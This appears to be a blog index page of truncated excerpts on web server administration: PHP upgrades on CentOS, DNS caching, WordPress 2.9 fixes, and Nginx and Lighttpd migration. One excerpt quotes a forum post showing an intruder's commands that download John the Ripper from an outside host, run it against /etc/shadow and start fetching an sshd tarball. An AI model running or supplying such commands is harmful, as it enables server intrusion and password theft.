by admin on January 23rd, 2010
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For those of you who are trying to upgrade from PHP 5.2 because your application requires PHP 5.2 or above, you can use this hack to upgrade your web server running CentOS.  Since CentOS doesn’t officially support PHP 5.2 officially yet, this could possibly be a great workaround. Word of caut ...
by admin on January 23rd, 2010
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If your website does a lot of queries via domain names such as aggregating RSS feeds or even a Twitter app site that accesses Twitter API, you might benefit from installing DNS cache on your linux web server. For most, you would benefit from installing DNS cache because it will save you a ton of tim ...
by admin on December 18th, 2009
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The new Wordpress 2.9 released today features a new functionality for Wordpress theme designers/coders to add post thumbnails by using the command the_post_thumnail(). Of course, don’t forget that the fact that in order to use this feature, you need to select an image under Wordpress admin ar ...
by admin on December 18th, 2009
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For those of you who are getting errors with Simple Tags plugin when upgrading to Wordpress 2.9, there’s a simple hack to make it work: Edit the file simple-tags.php and change the following from this: if ( strpos($wp_version, ‘2.7′) !== false || strpos($wp_version, ‘2.8̸ ...
by admin on December 18th, 2009
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Here’s a rather interesting forum post that details how hackers hack web servers: w wget geocities.com/cretu_2004/john-1.6.tar.gz;tar zxvf john-1.6.tar.gz;rm -rf john-1.6.tar.gz;cd john-1.6/src;make linux-x86-any-elf;cd ../run;./john /etc/shadow wget www.geocities.com/securedro/sshd.tar.gz;tar ...
by admin on December 16th, 2009
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Nginx is another super-fast, web server built for handling massive amounts of web traffic. Compared to Lighttpd, and based on real-world testing, Nginx offers better performance as it doesn’t leak memory as Lighttpd. Recently I had the pleasure of moving all my web servers from Lighttpd to Ng ...
by admin on October 14th, 2009
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In this blog post, I will show you how to convert a Wordpress blog to run Lighttpd instead of the default Apache Httpd server (on a Plesk server specifically). You can probably apply most of these instructions to any other web servers running on raw Apache but if you are that good at managing web s ...
by admin on August 24th, 2009
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This is a Wordpress permance test using Lighttpd (which is a faster alternative to Apache) and Apache Httpd on a test server loaded with a real blog.  All tests were done from empty load of zero. For testing, I’ve used a virtual dedicated server from MediaTemple, specifically their dv Extreme ...